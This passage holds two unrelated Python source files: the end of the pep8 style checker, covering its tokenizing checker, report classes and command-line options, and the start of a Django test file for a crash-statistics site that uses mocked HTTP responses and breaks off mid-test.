errors='ignore').read() noqa = re.compile(r'# no(?:qa|pep8)\b', re.I).search def expand_indent(line): r"""Return the amount of indentation. Tabs are expanded to the next multiple of 8. >>> expand_indent(' ') 4 >>> expand_indent('\t') 8 >>> expand_indent(' \t') 8 >>> expand_indent(' \t') 16 """ if '\t' not in line: return len(line) - len(line.lstrip()) result = 0 for char in line: if char == '\t': result = result // 8 * 8 + 8 elif char == ' ': result += 1 else: break return result def mute_string(text): """Replace contents with 'xxx' to prevent syntax matching. >>> mute_string('"abc"') '"xxx"' >>> mute_string("'''abc'''") "'''xxx'''" >>> mute_string("r'abc'") "r'xxx'" """ # String modifiers (e.g. u or r) start = text.index(text[-1]) + 1 end = len(text) - 1 # Triple quotes if text[-3:] in ('"""', "'''"): start += 2 end -= 2 return text[:start] + 'x' * (end - start) + text[end:] def parse_udiff(diff, patterns=None, parent='.'): """Return a dictionary of matching lines.""" # For each file of the diff, the entry key is the filename, # and the value is a set of row numbers to consider. rv = {} path = nrows = None for line in diff.splitlines(): if nrows: if line[:1] != '-': nrows -= 1 continue if line[:3] == '@@ ': hunk_match = HUNK_REGEX.match(line) (row, nrows) = [int(g or '1') for g in hunk_match.groups()] rv[path].update(range(row, row + nrows)) elif line[:3] == '+++': path = line[4:].split('\t', 1)[0] if path[:2] == 'b/': path = path[2:] rv[path] = set() return dict([(os.path.join(parent, path), rows) for (path, rows) in rv.items() if rows and filename_match(path, patterns)]) def normalize_paths(value, parent=os.curdir): """Parse a comma-separated list of paths. Return a list of absolute paths. """ if not value: return [] if isinstance(value, list): return value paths = [] for path in value.split(','): path = path.strip() if '/' in path: path = os.path.abspath(os.path.join(parent, path)) paths.append(path.rstrip('/')) return paths def filename_match(filename, patterns, default=True): """Check if patterns contains a pattern that matches filename. If patterns is unspecified, this always returns True. """ if not patterns: return default return any(fnmatch(filename, pattern) for pattern in patterns) def _is_eol_token(token): return token[0] in NEWLINE or token[4][token[3][1]:].lstrip() == '\\\n' if COMMENT_WITH_NL: def _is_eol_token(token, _eol_token=_is_eol_token): return _eol_token(token) or (token[0] == tokenize.COMMENT and token[1] == token[4]) ############################################################################## # Framework to run all checks ############################################################################## _checks = {'physical_line': {}, 'logical_line': {}, 'tree': {}} def register_check(check, codes=None): """Register a new check object.""" def _add_check(check, kind, codes, args): if check in _checks[kind]: _checks[kind][check][0].extend(codes or []) else: _checks[kind][check] = (codes or [''], args) if inspect.isfunction(check): args = inspect.getargspec(check)[0] if args and args[0] in ('physical_line', 'logical_line'): if codes is None: codes = ERRORCODE_REGEX.findall(check.__doc__ or '') _add_check(check, args[0], codes, args) elif inspect.isclass(check): if inspect.getargspec(check.__init__)[0][:2] == ['self', 'tree']: _add_check(check, 'tree', codes, None) def init_checks_registry(): """Register all globally visible functions. The first argument name is either 'physical_line' or 'logical_line'. """ mod = inspect.getmodule(register_check) for (name, function) in inspect.getmembers(mod, inspect.isfunction): register_check(function) init_checks_registry() class Checker(object): """Load a Python source file, tokenize it, check coding style.""" def __init__(self, filename=None, lines=None, options=None, report=None, **kwargs): if options is None: options = StyleGuide(kwargs).options else: assert not kwargs self._io_error = None self._physical_checks = options.physical_checks self._logical_checks = options.logical_checks self._ast_checks = options.ast_checks self.max_line_length = options.max_line_length self.multiline = False # in a multiline string? self.hang_closing = options.hang_closing self.verbose = options.verbose self.filename = filename # Dictionary where a checker can store its custom state. self._checker_states = {} if filename is None: self.filename = 'stdin' self.lines = lines or [] elif filename == '-': self.filename = 'stdin' self.lines = stdin_get_value().splitlines(True) elif lines is None: try: self.lines = readlines(filename) except IOError: (exc_type, exc) = sys.exc_info()[:2] self._io_error = '%s: %s' % (exc_type.__name__, exc) self.lines = [] else: self.lines = lines if self.lines: ord0 = ord(self.lines[0][0]) if ord0 in (0xef, 0xfeff): # Strip the UTF-8 BOM if ord0 == 0xfeff: self.lines[0] = self.lines[0][1:] elif self.lines[0][:3] == '\xef\xbb\xbf': self.lines[0] = self.lines[0][3:] self.report = report or options.report self.report_error = self.report.error def report_invalid_syntax(self): """Check if the syntax is valid.""" (exc_type, exc) = sys.exc_info()[:2] if len(exc.args) > 1: offset = exc.args[1] if len(offset) > 2: offset = offset[1:3] else: offset = (1, 0) self.report_error(offset[0], offset[1] or 0, 'E901 %s: %s' % (exc_type.__name__, exc.args[0]), self.report_invalid_syntax) def readline(self): """Get the next line from the input buffer.""" if self.line_number >= self.total_lines: return '' line = self.lines[self.line_number] self.line_number += 1 if self.indent_char is None and line[:1] in WHITESPACE: self.indent_char = line[0] return line def run_check(self, check, argument_names): """Run a check plugin.""" arguments = [] for name in argument_names: arguments.append(getattr(self, name)) return check(*arguments) def init_checker_state(self, name, argument_names): """ Prepares a custom state for the specific checker plugin.""" if 'checker_state' in argument_names: self.checker_state = self._checker_states.setdefault(name, {}) def check_physical(self, line): """Run all physical checks on a raw input line.""" self.physical_line = line for name, check, argument_names in self._physical_checks: self.init_checker_state(name, argument_names) result = self.run_check(check, argument_names) if result is not None: (offset, text) = result self.report_error(self.line_number, offset, text, check) if text[:4] == 'E101': self.indent_char = line[0] def build_tokens_line(self): """Build a logical line from tokens.""" logical = [] comments = [] length = 0 prev_row = prev_col = mapping = None for token_type, text, start, end, line in self.tokens: if token_type in SKIP_TOKENS: continue if not mapping: mapping = [(0, start)] if token_type == tokenize.COMMENT: comments.append(text) continue if token_type == tokenize.STRING: text = mute_string(text) if prev_row: (start_row, start_col) = start if prev_row != start_row: # different row prev_text = self.lines[prev_row - 1][prev_col - 1] if prev_text == ',' or (prev_text not in '{[(' and text not in '}])'): text = ' ' + text elif prev_col != start_col: # different column text = line[prev_col:start_col] + text logical.append(text) length += len(text) mapping.append((length, end)) (prev_row, prev_col) = end self.logical_line = ''.join(logical) self.noqa = comments and noqa(''.join(comments)) return mapping def check_logical(self): """Build a line from tokens and run all logical checks on it.""" self.report.increment_logical_line() mapping = self.build_tokens_line() if not mapping: return (start_row, start_col) = mapping[0][1] start_line = self.lines[start_row - 1] self.indent_level = expand_indent(start_line[:start_col]) if self.blank_before < self.blank_lines: self.blank_before = self.blank_lines if self.verbose >= 2: print(self.logical_line[:80].rstrip()) for name, check, argument_names in self._logical_checks: if self.verbose >= 4: print(' ' + name) self.init_checker_state(name, argument_names) for offset, text in self.run_check(check, argument_names) or (): if not isinstance(offset, tuple): for token_offset, pos in mapping: if offset <= token_offset: break offset = (pos[0], pos[1] + offset - token_offset) self.report_error(offset[0], offset[1], text, check) if self.logical_line: self.previous_indent_level = self.indent_level self.previous_logical = self.logical_line self.blank_lines = 0 self.tokens = [] def check_ast(self): """Build the file's AST and run all AST checks.""" try: tree = compile(''.join(self.lines), '', 'exec', PyCF_ONLY_AST) except (SyntaxError, TypeError): return self.report_invalid_syntax() for name, cls, __ in self._ast_checks: checker = cls(tree, self.filename) for lineno, offset, text, check in checker.run(): if not self.lines or not noqa(self.lines[lineno - 1]): self.report_error(lineno, offset, text, check) def generate_tokens(self): """Tokenize the file, run physical line checks and yield tokens.""" if self._io_error: self.report_error(1, 0, 'E902 %s' % self._io_error, readlines) tokengen = tokenize.generate_tokens(self.readline) try: for token in tokengen: if token[2][0] > self.total_lines: return self.maybe_check_physical(token) yield token except (SyntaxError, tokenize.TokenError): self.report_invalid_syntax() def maybe_check_physical(self, token): """If appropriate (based on token), check current physical line(s).""" # Called after every token, but act only on end of line. if _is_eol_token(token): # Obviously, a newline token ends a single physical line. self.check_physical(token[4]) elif token[0] == tokenize.STRING and '\n' in token[1]: # Less obviously, a string that contains newlines is a # multiline string, either triple-quoted or with internal # newlines backslash-escaped. Check every physical line in the # string *except* for the last one: its newline is outside of # the multiline string, so we consider it a regular physical # line, and will check it like any other physical line. # # Subtleties: # - we don't *completely* ignore the last line; if it contains # the magical "# noqa" comment, we disable all physical # checks for the entire multiline string # - have to wind self.line_number back because initially it # points to the last line of the string, and we want # check_physical() to give accurate feedback if noqa(token[4]): return self.multiline = True self.line_number = token[2][0] for line in token[1].split('\n')[:-1]: self.check_physical(line + '\n') self.line_number += 1 self.multiline = False def check_all(self, expected=None, line_offset=0): """Run all checks on the input file.""" self.report.init_file(self.filename, self.lines, expected, line_offset) self.total_lines = len(self.lines) if self._ast_checks: self.check_ast() self.line_number = 0 self.indent_char = None self.indent_level = self.previous_indent_level = 0 self.previous_logical = '' self.tokens = [] self.blank_lines = self.blank_before = 0 parens = 0 for token in self.generate_tokens(): self.tokens.append(token) token_type, text = token[0:2] if self.verbose >= 3: if token[2][0] == token[3][0]: pos = '[%s:%s]' % (token[2][1] or '', token[3][1]) else: pos = 'l.%s' % token[3][0] print('l.%s\t%s\t%s\t%r' % (token[2][0], pos, tokenize.tok_name[token[0]], text)) if token_type == tokenize.OP: if text in '([{': parens += 1 elif text in '}])': parens -= 1 elif not parens: if token_type in NEWLINE: if token_type == tokenize.NEWLINE: self.check_logical() self.blank_before = 0 elif len(self.tokens) == 1: # The physical line contains only this token. self.blank_lines += 1 del self.tokens[0] else: self.check_logical() elif COMMENT_WITH_NL and token_type == tokenize.COMMENT: if len(self.tokens) == 1: # The comment also ends a physical line token = list(token) token[1] = text.rstrip('\r\n') token[3] = (token[2][0], token[2][1] + len(token[1])) self.tokens = [tuple(token)] self.check_logical() if self.tokens: self.check_physical(self.lines[-1]) self.check_logical() return self.report.get_file_results() class BaseReport(object): """Collect the results of the checks.""" print_filename = False def __init__(self, options): self._benchmark_keys = options.benchmark_keys self._ignore_code = options.ignore_code # Results self.elapsed = 0 self.total_errors = 0 self.counters = dict.fromkeys(self._benchmark_keys, 0) self.messages = {} def start(self): """Start the timer.""" self._start_time = time.time() def stop(self): """Stop the timer.""" self.elapsed = time.time() - self._start_time def init_file(self, filename, lines, expected, line_offset): """Signal a new file.""" self.filename = filename self.lines = lines self.expected = expected or () self.line_offset = line_offset self.file_errors = 0 self.counters['files'] += 1 self.counters['physical lines'] += len(lines) def increment_logical_line(self): """Signal a new logical line.""" self.counters['logical lines'] += 1 def error(self, line_number, offset, text, check): """Report an error, according to options.""" code = text[:4] if self._ignore_code(code): return if code in self.counters: self.counters[code] += 1 else: self.counters[code] = 1 self.messages[code] = text[5:] # Don't care about expected errors or warnings if code in self.expected: return if self.print_filename and not self.file_errors: print(self.filename) self.file_errors += 1 self.total_errors += 1 return code def get_file_results(self): """Return the count of errors and warnings for this file.""" return self.file_errors def get_count(self, prefix=''): """Return the total count of errors and warnings.""" return sum([self.counters[key] for key in self.messages if key.startswith(prefix)]) def get_statistics(self, prefix=''): """Get statistics for message codes that start with the prefix. prefix='' matches all errors and warnings prefix='E' matches all errors prefix='W' matches all warnings prefix='E4' matches all errors that have to do with imports """ return ['%-7s %s %s' % (self.counters[key], key, self.messages[key]) for key in sorted(self.messages) if key.startswith(prefix)] def print_statistics(self, prefix=''): """Print overall statistics (number of errors and warnings).""" for line in self.get_statistics(prefix): print(line) def print_benchmark(self): """Print benchmark numbers.""" print('%-7.2f %s' % (self.elapsed, 'seconds elapsed')) if self.elapsed: for key in self._benchmark_keys: print('%-7d %s per second (%d total)' % (self.counters[key] / self.elapsed, key, self.counters[key])) class FileReport(BaseReport): """Collect the results of the checks and print only the filenames.""" print_filename = True class StandardReport(BaseReport): """Collect and print the results of the checks.""" def __init__(self, options): super(StandardReport, self).__init__(options) self._fmt = REPORT_FORMAT.get(options.format.lower(), options.format) self._repeat = options.repeat self._show_source = options.show_source self._show_pep8 = options.show_pep8 def init_file(self, filename, lines, expected, line_offset): """Signal a new file.""" self._deferred_print = [] return super(StandardReport, self).init_file( filename, lines, expected, line_offset) def error(self, line_number, offset, text, check): """Report an error, according to options.""" code = super(StandardReport, self).error(line_number, offset, text, check) if code and (self.counters[code] == 1 or self._repeat): self._deferred_print.append( (line_number, offset, code, text[5:], check.__doc__)) return code def get_file_results(self): """Print the result and return the overall count for this file.""" self._deferred_print.sort() for line_number, offset, code, text, doc in self._deferred_print: print(self._fmt % { 'path': self.filename, 'row': self.line_offset + line_number, 'col': offset + 1, 'code': code, 'text': text, }) if self._show_source: if line_number > len(self.lines): line = '' else: line = self.lines[line_number - 1] print(line.rstrip()) print(re.sub(r'\S', ' ', line[:offset]) + '^') if self._show_pep8 and doc: print(' ' + doc.strip()) return self.file_errors class DiffReport(StandardReport): """Collect and print the results for the changed lines only.""" def __init__(self, options): super(DiffReport, self).__init__(options) self._selected = options.selected_lines def error(self, line_number, offset, text, check): if line_number not in self._selected[self.filename]: return return super(DiffReport, self).error(line_number, offset, text, check) class StyleGuide(object): """Initialize a PEP-8 instance with few options.""" def __init__(self, *args, **kwargs): # build options from the command line self.checker_class = kwargs.pop('checker_class', Checker) parse_argv = kwargs.pop('parse_argv', False) config_file = kwargs.pop('config_file', None) parser = kwargs.pop('parser', None) # build options from dict options_dict = dict(*args, **kwargs) arglist = None if parse_argv else options_dict.get('paths', None) options, self.paths = process_options( arglist, parse_argv, config_file, parser) if options_dict: options.__dict__.update(options_dict) if 'paths' in options_dict: self.paths = options_dict['paths'] self.runner = self.input_file self.options = options if not options.reporter: options.reporter = BaseReport if options.quiet else StandardReport options.select = tuple(options.select or ()) if not (options.select or options.ignore or options.testsuite or options.doctest) and DEFAULT_IGNORE: # The default choice: ignore controversial checks options.ignore = tuple(DEFAULT_IGNORE.split(',')) else: # Ignore all checks which are not explicitly selected options.ignore = ('',) if options.select else tuple(options.ignore) options.benchmark_keys = BENCHMARK_KEYS[:] options.ignore_code = self.ignore_code options.physical_checks = self.get_checks('physical_line') options.logical_checks = self.get_checks('logical_line') options.ast_checks = self.get_checks('tree') self.init_report() def init_report(self, reporter=None): """Initialize the report instance.""" self.options.report = (reporter or self.options.reporter)(self.options) return self.options.report def check_files(self, paths=None): """Run all checks on the paths.""" if paths is None: paths = self.paths report = self.options.report runner = self.runner report.start() try: for path in paths: if os.path.isdir(path): self.input_dir(path) elif not self.excluded(path): runner(path) except KeyboardInterrupt: print('... stopped') report.stop() return report def input_file(self, filename, lines=None, expected=None, line_offset=0): """Run all checks on a Python source file.""" if self.options.verbose: print('checking %s' % filename) fchecker = self.checker_class( filename, lines=lines, options=self.options) return fchecker.check_all(expected=expected, line_offset=line_offset) def input_dir(self, dirname): """Check all files in this directory and all subdirectories.""" dirname = dirname.rstrip('/') if self.excluded(dirname): return 0 counters = self.options.report.counters verbose = self.options.verbose filepatterns = self.options.filename runner = self.runner for root, dirs, files in os.walk(dirname): if verbose: print('directory ' + root) counters['directories'] += 1 for subdir in sorted(dirs): if self.excluded(subdir, root): dirs.remove(subdir) for filename in sorted(files): # contain a pattern that matches? if ((filename_match(filename, filepatterns) and not self.excluded(filename, root))): runner(os.path.join(root, filename)) def excluded(self, filename, parent=None): """Check if the file should be excluded. Check if 'options.exclude' contains a pattern that matches filename. """ if not self.options.exclude: return False basename = os.path.basename(filename) if filename_match(basename, self.options.exclude): return True if parent: filename = os.path.join(parent, filename) filename = os.path.abspath(filename) return filename_match(filename, self.options.exclude) def ignore_code(self, code): """Check if the error code should be ignored. If 'options.select' contains a prefix of the error code, return False. Else, if 'options.ignore' contains a prefix of the error code, return True. """ if len(code) < 4 and any(s.startswith(code) for s in self.options.select): return False return (code.startswith(self.options.ignore) and not code.startswith(self.options.select)) def get_checks(self, argument_name): """Get all the checks for this category. Find all globally visible functions where the first argument name starts with argument_name and which contain selected tests. """ checks = [] for check, attrs in _checks[argument_name].items(): (codes, args) = attrs if any(not (code and self.ignore_code(code)) for code in codes): checks.append((check.__name__, check, args)) return sorted(checks) def get_parser(prog='pep8', version=__version__): parser = OptionParser(prog=prog, version=version, usage="%prog [options] input ...") parser.config_options = [ 'exclude', 'filename', 'select', 'ignore', 'max-line-length', 'hang-closing', 'count', 'format', 'quiet', 'show-pep8', 'show-source', 'statistics', 'verbose'] parser.add_option('-v', '--verbose', default=0, action='count', help="print status messages, or debug with -vv") parser.add_option('-q', '--quiet', default=0, action='count', help="report only file names, or nothing with -qq") parser.add_option('-r', '--repeat', default=True, action='store_true', help="(obsolete) show all occurrences of the same error") parser.add_option('--first', action='store_false', dest='repeat', help="show first occurrence of each error") parser.add_option('--exclude', metavar='patterns', default=DEFAULT_EXCLUDE, help="exclude files or directories which match these " "comma separated patterns (default: %default)") parser.add_option('--filename', metavar='patterns', default='*.py', help="when parsing directories, only check filenames " "matching these comma separated patterns " "(default: %default)") parser.add_option('--select', metavar='errors', default='', help="select errors and warnings (e.g. E,W6)") parser.add_option('--ignore', metavar='errors', default='', help="skip errors and warnings (e.g. E4,W) " "(default: %s)" % DEFAULT_IGNORE) parser.add_option('--show-source', action='store_true', help="show source code for each error") parser.add_option('--show-pep8', action='store_true', help="show text of PEP 8 for each error " "(implies --first)") parser.add_option('--statistics', action='store_true', help="count errors and warnings") parser.add_option('--count', action='store_true', help="print total number of errors and warnings " "to standard error and set exit code to 1 if " "total is not null") parser.add_option('--max-line-length', type='int', metavar='n', default=MAX_LINE_LENGTH, help="set maximum allowed line length " "(default: %default)") parser.add_option('--hang-closing', action='store_true', help="hang closing bracket instead of matching " "indentation of opening bracket's line") parser.add_option('--format', metavar='format', default='default', help="set the error format [default|pylint|<custom>]") parser.add_option('--diff', action='store_true', help="report only lines changed according to the " "unified diff received on STDIN") group = parser.add_option_group("Testing Options") if os.path.exists(TESTSUITE_PATH): group.add_option('--testsuite', metavar='dir', help="run regression tests from dir") group.add_option('--doctest', action='store_true', help="run doctest on myself") group.add_option('--benchmark', action='store_true', help="measure processing speed") return parser def read_config(options, args, arglist, parser): """Read both user configuration and local configuration.""" config = RawConfigParser() user_conf = options.config if user_conf and os.path.isfile(user_conf): if options.verbose: print('user configuration: %s' % user_conf) config.read(user_conf) local_dir = os.curdir parent = tail = args and os.path.abspath(os.path.commonprefix(args)) while tail: if config.read([os.path.join(parent, fn) for fn in PROJECT_CONFIG]): local_dir = parent if options.verbose: print('local configuration: in %s' % parent) break (parent, tail) = os.path.split(parent) pep8_section = parser.prog if config.has_section(pep8_section): option_list = dict([(o.dest, o.type or o.action) for o in parser.option_list]) # First, read the default values (new_options, __) = parser.parse_args([]) # Second, parse the configuration for opt in config.options(pep8_section): if opt.replace('_', '-') not in parser.config_options: print(" unknown option '%s' ignored" % opt) continue if options.verbose > 1: print(" %s = %s" % (opt, config.get(pep8_section, opt))) normalized_opt = opt.replace('-', '_') opt_type = option_list[normalized_opt] if opt_type in ('int', 'count'): value = config.getint(pep8_section, opt) elif opt_type == 'string': value = config.get(pep8_section, opt) if normalized_opt == 'exclude': value = normalize_paths(value, local_dir) else: assert opt_type in ('store_true', 'store_false') value = config.getboolean(pep8_section, opt) setattr(new_options, normalized_opt, value) # Third, overwrite with the command-line options (options, __) = parser.parse_args(arglist, values=new_options) options.doctest = options.testsuite = False return options def process_options(arglist=None, parse_argv=False, config_file=None, parser=None): """Process options passed either via arglist or via command line args.""" if not parser: parser = get_parser() if not parser.has_option('--config'): if config_file is True: config_file = DEFAULT_CONFIG group = parser.add_option_group("Configuration", description=( "The project options are read from the [%s] section of the " "tox.ini file or the setup.cfg file located in any parent folder " "of the path(s) being processed. Allowed options are: %s." % (parser.prog, ', '.join(parser.config_options)))) group.add_option('--config', metavar='path', default=config_file, help="user config file location (default: %default)") # Don't read the command line if the module is used as a library. if not arglist and not parse_argv: arglist = [] # If parse_argv is True and arglist is None, arguments are # parsed from the command line (sys.argv) (options, args) = parser.parse_args(arglist) options.reporter = None if options.ensure_value('testsuite', False): args.append(options.testsuite) elif not options.ensure_value('doctest', False): if parse_argv and not args: if options.diff or any(os.path.exists(name) for name in PROJECT_CONFIG): args = ['.'] else: parser.error('input not specified') options = read_config(options, args, arglist, parser) options.reporter = parse_argv and options.quiet == 1 and FileReport options.filename = options.filename and options.filename.split(',') options.exclude = normalize_paths(options.exclude) options.select = options.select and options.select.split(',') options.ignore = options.ignore and options.ignore.split(',') if options.diff: options.reporter = DiffReport stdin = stdin_get_value() options.selected_lines = parse_udiff(stdin, options.filename, args[0]) args = sorted(options.selected_lines) return options, args def _main(): """Parse options and run checks on Python source.""" import signal # Handle "Broken pipe" gracefully try: signal.signal(signal.SIGPIPE, lambda signum, frame: sys.exit(1)) except AttributeError: pass # not supported on Windows pep8style = StyleGuide(parse_argv=True, config_file=True) options = pep8style.options if options.doctest or options.testsuite: from testsuite.support import run_tests report = run_tests(pep8style) else: report = pep8style.check_files() if options.statistics: report.print_statistics() if options.benchmark: report.print_benchmark() if options.testsuite and not options.quiet: report.print_results() if report.total_errors: if options.count: sys.stderr.write(str(report.total_errors) + '\n') sys.exit(1) if __name__ == '__main__': _main()
codeparrot/github-code-clean
import csv import datetime import json import mock import os import re import shutil import tempfile import urllib from cStringIO import StringIO from nose.tools import eq_, ok_ from nose.plugins.skip import SkipTest from django.test import TestCase from django.test.client import RequestFactory from django.test.utils import override_settings from django.conf import settings from django.contrib.auth.models import User from django.core.cache import cache from django.core.exceptions import ImproperlyConfigured from django.core.urlresolvers import reverse from crashstats.crashstats import models class Response(object): def __init__(self, content=None, status_code=200): self.content = content self.status_code = status_code class RobotsTestViews(TestCase): @override_settings(ENGAGE_ROBOTS=True) def test_robots_txt(self): url = '/robots.txt' response = self.client.get(url) eq_(response.status_code, 200) eq_(response['Content-Type'], 'text/plain') ok_('Allow: /' in response.content) @override_settings(ENGAGE_ROBOTS=False) def test_robots_txt_disengage(self): url = '/robots.txt' response = self.client.get(url) eq_(response.status_code, 200) eq_(response['Content-Type'], 'text/plain') ok_('Disallow: /' in response.content) class FaviconTestViews(TestCase): def test_favicon(self): tmp_static_root = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, tmp_static_root) favicon_dir = os.path.join(tmp_static_root, 'img') os.makedirs(favicon_dir) favicon_path = os.path.join(favicon_dir, 'favicon.ico') with open(favicon_path, 'wb') as icon: icon.write('totally fake') with self.settings(STATIC_ROOT=tmp_static_root): response = self.client.get('/favicon.ico') eq_(response.status_code, 200) ok_('image/x-icon' in response['Content-Type']) class BaseTestViews(TestCase): @mock.patch('requests.get') def setUp(self, rget): super(BaseTestViews, self).setUp() # checking settings.CACHES isn't as safe as `cache.__class__` if 'LocMemCache' not in cache.__class__.__name__: raise ImproperlyConfigured( 'The tests requires that you use LocMemCache when running' ) # we do this here so that the current/versions thing # is cached since that's going to be called later # in every view more or less def mocked_get(url, **options): now = datetime.datetime.utcnow() now = now.replace(microsecond=0).isoformat() if 'products/' in url: return Response(""" {"products": [ "Firefox", "Thunderbird", "SeaMonkey" ], "hits": { "Firefox": [ {"product": "Firefox", "throttle": "100.00", "end_date": "%(end_date)s", "start_date": "2012-03-08T00:00:00", "featured": true, "version": "19.0", "release": "Beta", "id": 922}, {"product": "Firefox", "throttle": "100.00", "end_date": "%(end_date)s", "start_date": "2012-03-08T00:00:00", "featured": true, "version": "18.0", "release": "Stable", "id": 920}, {"product": "Firefox", "throttle": "100.00", "end_date": "%(end_date)s", "start_date": "2012-03-08T00:00:00", "featured": true, "version": "20.0", "release": "Nightly", "id": 923} ], "Thunderbird":[ {"product": "Thunderbird", "throttle": "100.00", "end_date": "%(end_date)s", "start_date": "2012-03-08T00:00:00", "featured": true, "version": "18.0", "release": "Aurora", "id": 924}, {"product": "Thunderbird", "throttle": "100.00", "end_date": "%(end_date)s", "start_date": "2012-03-08T00:00:00", "featured": true, "version": "19.0", "release": "Nightly", "id": 925} ], "SeaMonkey": [ {"product": "SeaMonkey", "throttle": "99.00", "end_date": "%(end_date)s", "start_date": "2012-03-08T00:00:00", "featured": true, "version": "9.5", "release": "Alpha", "id": 921} ] }, "total": 3 } """ % {'end_date': now}) raise NotImplementedError(url) rget.side_effect = mocked_get from crashstats.crashstats.models import CurrentVersions api = CurrentVersions() api.get() def tearDown(self): super(BaseTestViews, self).tearDown() cache.clear() class TestViews(BaseTestViews): @mock.patch('requests.get') def test_handler500(self, rget): root_urlconf = __import__( settings.ROOT_URLCONF, globals(), locals(), ['urls'], -1 ) # ...so that we can access the 'handler500' defined in there par, end = root_urlconf.handler500.rsplit('.', 1) # ...which is an importable reference to the real handler500 function views = __import__(par, globals(), locals(), [end], -1) # ...and finally we have the handler500 function at hand handler500 = getattr(views, end) # to make a mock call to the django view functions you need a request fake_request = RequestFactory().request(**{'wsgi.input': None}) # Need a fake user for the persona bits on crashstats_base fake_request.user = {} fake_request.user['is_active'] = False # the reason for first causing an exception to be raised is because # the handler500 function is only called by django when an exception # has been raised which means sys.exc_info() is something. try: raise NameError('sloppy code') except NameError: # do this inside a frame that has a sys.exc_info() response = handler500(fake_request) eq_(response.status_code, 500) ok_('Internal Server Error' in response.content) ok_('id="products_select"' not in response.content) def test_handler404(self): url = reverse('crashstats.home', args=('Unknown',)) response = self.client.get(url) eq_(response.status_code, 404) ok_('Page not Found' in response.content) ok_('id="products_select"' not in response.content) def test_homepage_redirect(self): response = self.client.get('/') eq_(response.status_code, 302) destination = reverse('crashstats.home', args=[settings.DEFAULT_PRODUCT]) ok_(destination in response['Location']) def test_legacy_query_redirect(self): response = self.client.get('/query/query?foo=bar') redirect_code = settings.PERMANENT_LEGACY_REDIRECTS and 301 or 302 eq_(response.status_code, redirect_code) ok_(reverse('crashstats.query') + '?foo=bar' in response['Location']) @mock.patch('requests.get') def test_buginfo(self, rget): url = reverse('crashstats.buginfo') def mocked_get(url, **options): if 'bug?id=' in url: return Response('{"bugs": [{"product": "allizom.org"}]}') raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url) eq_(response.status_code, 400) response = self.client.get(url, {'bug_ids': '123,456'}) eq_(response.status_code, 400) response = self.client.get(url, {'include_fields': 'product'}) eq_(response.status_code, 400) response = self.client.get(url, {'bug_ids': ' 123, 456 ', 'include_fields': ' product'}) eq_(response.status_code, 200) struct = json.loads(response.content) ok_(struct['bugs']) eq_(struct['bugs'][0]['product'], 'allizom.org') @mock.patch('requests.get') def test_home(self, rget): url = reverse('crashstats.home', args=('Firefox',)) def mocked_get(url, **options): if 'products' in url and not 'version' in url: return Response(""" { "products": [ "Firefox" ], "hits": { "Firefox": [{ "featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Firefox", "release": "Nightly", "version": "19.0", "has_builds": true, "start_date": "2012-09-25" }] }, "total": 1 } """) elif 'products' in url: return Response(""" { "hits": [{ "is_featured": true, "throttle": 100.0, "end_date": "2012-11-27", "product": "Firefox", "build_type": "Nightly", "version": "19.0", "has_builds": true, "start_date": "2012-09-25" }], "total": 1 } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url) eq_(response.status_code, 200) # Testing with unknown product url = reverse('crashstats.home', args=('InternetExplorer',)) response = self.client.get(url) eq_(response.status_code, 404) # Testing with unknown version for product url = reverse('crashstats.home', args=('Firefox', '99')) response = self.client.get(url) eq_(response.status_code, 404) # Testing with valid version for product url = reverse('crashstats.home', args=('Firefox', '19.0')) response = self.client.get(url) eq_(response.status_code, 200) @mock.patch('requests.get') def test_frontpage_json(self, rget): url = reverse('crashstats.frontpage_json') def mocked_get(url, **options): if 'crashes/daily' in url: return Response(""" { "hits": { "Firefox:19.0": { "2012-10-08": { "product": "Firefox", "adu": 30000, "crash_hadu": 71.099999999999994, "version": "19.0", "report_count": 2133, "date": "2012-10-08" }, "2012-10-02": { "product": "Firefox", "adu": 30000, "crash_hadu": 77.299999999999997, "version": "19.0", "report_count": 2319, "date": "2012-10-02" } } } } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url, {'product': 'Firefox'}) eq_(response.status_code, 200) ok_('application/json' in response['content-type']) struct = json.loads(response.content) ok_(struct['product_versions']) eq_(struct['count'], 1) @mock.patch('requests.get') def test_frontpage_json_bad_request(self, rget): url = reverse('crashstats.frontpage_json') def mocked_get(url, **options): assert 'crashes/daily' in url, url if 'product/Firefox' in url: return Response(""" { "hits": { "Firefox:19.0": { "2012-10-08": { "product": "Firefox", "adu": 30000, "crash_hadu": 71.099999999999994, "version": "19.0", "report_count": 2133, "date": "2012-10-08" }, "2012-10-02": { "product": "Firefox", "adu": 30000, "crash_hadu": 77.299999999999997, "version": "19.0", "report_count": 2319, "date": "2012-10-02" } } } } """) raise NotImplementedError(url) rget.side_effect = mocked_get response = self.client.get(url, {'product': 'Neverheardof'}) eq_(response.status_code, 400) response = self.client.get(url, {'versions': '999.1'}) eq_(response.status_code, 400) response = self.client.get(url, { 'product': 'Firefox', 'versions': '99.9' # mismatch }) eq_(response.status_code, 400) response = self.client.get(url, { 'product': 'Firefox', 'versions': '19.0' }) eq_(response.status_code, 200) response = self.client.get(url, { 'product': 'Firefox', 'duration': 'xxx' }) eq_(response.status_code, 400) response = self.client.get(url, { 'product': 'Firefox', 'duration': '-100' }) eq_(response.status_code, 400) response = self.client.get(url, { 'product': 'Firefox', 'duration': '10' }) eq_(response.status_code, 200) response = self.client.get(url, { 'product': 'Firefox', 'date_range_type': 'junk' }) eq_(response.status_code, 400) response = self.client.get(url, { 'product': 'Firefox', 'date_range_type': 'build' }) eq_(response.status_code, 200) response = self.client.get(url, { 'product': 'Firefox', 'date_range_type': 'report' }) eq_(response.status_code, 200) @mock.patch('requests.get') def test_products_list(self, rget): url = reverse('crashstats.products_list') def mocked_get(url, **options): if 'products' in url: return Response(""" { "products": [ "Firefox", "Fennec" ], "hits": [ { "sort": "1", "default_version": "15.0.1", "release_name": "firefox", "rapid_release_version": "5.0", "product_name": "Firefox" }, { "sort": "3", "default_version": "10.0.6esr", "release_name": "mobile", "rapid_release_version": "5.0", "product_name": "Fennec" }], "total": "2" } """) rget.side_effect = mocked_get response = self.client.get(url) self.assertEqual(response.status_code, 200) @mock.patch('requests.get') def test_crash_trends(self, rget): url = reverse('crashstats.crash_trends', args=('Firefox',)) unkown_product_url = reverse('crashstats.crash_trends', args=('NotKnown',)) def mocked_get(**options): if 'products' in options['url']: return Response(""" { "products": 